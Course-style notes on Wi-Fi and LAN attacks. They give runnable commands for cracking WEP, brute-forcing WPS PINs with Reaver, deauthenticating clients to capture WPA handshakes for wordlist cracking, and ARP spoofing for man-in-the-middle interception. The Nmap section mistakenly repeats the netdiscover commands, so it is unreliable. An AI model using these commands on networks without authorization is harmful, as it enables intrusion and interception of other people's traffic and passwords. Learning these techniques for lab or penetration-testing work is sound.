WEP Cracking (Gaining Access )
About?
- Wired Equivalent Privacy
- Old encryption
- RC4 - algorithm
- Still uses in some networks. can be cracked easily
- client/router - send/recieve - encrypt/decrypt packets by using a key
Vulnerability?
- Each packet is encrypted using a unique key stream
- Random initialization vector(IV) is used to generate the keys streams
- IV is only 24 bits
- IV + key(password) = key stream
- client/router - send/recieve - encrypt/decrypt packets by using a key
- IV is sent in plaintext
- IV will repeat on busy networks. This makes WEP vulnerable to statistical attacks
- Repeated IV can be used to determine the key stream and break the encryption
AIRODUMP-NG & aircrack-ng
- Capture a large number of packets / IVs
- Analyse the captured IVs and crack the key
# airodump-ng --bssid F9:24:B3:B0:51:AC --channel 2 --write basic_wep mon0
# aircrack-ng basic_wep-01.cap
- Copy the key and remove all columns - this is the password of Wi-Fi
- Problem - If network not busy, It would take some time to capture enough IVs
- Solution - Force the AP to generate new IVs
Fake Authentication attack
- Force the AP to generate new IVs
# airodump-ng --bssid F9:24:B3:B0:51:AC --channel 2 --write arpreplay mon0
# aireplay-ng --fakeauth 0 -a F9:24:B3:B0:51:AC -h F2:34:B4:B0:61:BC mon0
# aircrack-ng arpreplay-01.cap
ARP Request Replay attack
- Force the AP to generate new IVs
- Wait for an ARP packet , capture it and replay(retransmit) it
- This causes the AP to produce another packet with a new IV
- Keep doing this till we have enough IVs to crack the key
# airodump-ng --bssid F9:24:B3:B0:51:AC --channel 2 --write arpreplay mon0
# aireplay-ng --arpreplay -b F9:24:B3:B0:51:AC -h F2:34:B4:B0:61:BC mon0
# aircrack-ng arpreplay-01.cap
WPA / WPA 2 Cracking
About?
- Both can be cracked using the same methods
- Made to address the issue in WEP
- Much more secure
- Each packet is encrypted using a unique temporary key
Vulnerability?
- WPS is a feature that can be used with WPA&WPA2
- Allows clients to connect without the password
- Authentication is done using an 8 digit pin
- 8 digits is very small, we can try all possible pins in relatively short time. Then the wps pin can be
used to compute the actual password.
- This only works if the router is configured not to use PBC (Push Button Authentication)
Reaver - use if WPS enabled
- Find the devices with WPS enabled and attack
# wash --interface mon0
# aireplay-ng --fakeauth 30 -a F9:24:B3:B0:51:AC -h F2:34:B4:B0:61:BC mon0
# reaver --bssid F9:24:B3:B0:51:AC --channel 1 --interface mon0 -vvv
Wordlist attack - use if WPS disabled
- Only packets that can aid with the cracking process are the handshake packets
- Need to wait for a client connection to the target AP
- Can use deauthentication attack for a client connection
- Capture the 4-way handshake
# airodump-ng --bssid F9:24:B3:B0:51:AC --channel 2 --write wpa_handshake mon0
# aireplay-ng --deauth 4 -a F9:24:B3:B0:51:AC -c F2:34:B4:B0:61:BC mon0
- The handshake does not contain data that helps recover the key.
- It contains data that can be used to check if a key is valid or not.
- Create a wordlist of password and check the password valid or not
# crunch 6 8 123abc$ -o wordlist -t a@@@@b
- The password and handshake-packets data combine and generate MIC code then check match with MIC within
the packet.
# aircrack-ng wpa_handshake-01.cap -w test.txt
Post connection attacks
About?
- Work against WiFi & Ethernet
- Gather more info
- Intercept data(username & password)
- Modify data on the fly
- Display all devices on the network
- Display theri : IP,MAC,OS,Open ports, Running services.
Net discover
- Display all devices on the network
# ifconfig
# netdiscover -r 10.0.2.1/24
Nmap / Zenmap
- Huge security scanner
- From an Ip/Ip range it can dicover : Open ports, Running services, OS, Connected cients
- Find the ports and running services. Check the vulnerabilities of that services (check with version) and
hack it!
# ifconfig
# netdiscover -r 10.0.2.1/24
MITM - Man In The Mddle Attack (POST CA)
ARP Poisoning
- victim <--> requests/responses <--> Hacker <--> requests/responses <--> Access
point <--> internet
- ARP - link MAC & IP
- hacker send "I am at 10.0.0.3 (IP of victim)" to AP
- hacker send "I am at 10.0.0.6" (IP of AP) to victim
- Why its possible ? clients accept responses even if they did not send a request & clients trust response
without any form of verification.
ARP Spoofing - use ARPSPOOF
- simple and reliable
- ported to most os
# arpspoof -i eth0 -t 10.0.2.3 10.0.2.1
# arpspoof -i eth0 -t 10.0.2.1 10.0.2.3
# echo 1 > /proc/sys/net/ipv4/ip_forward
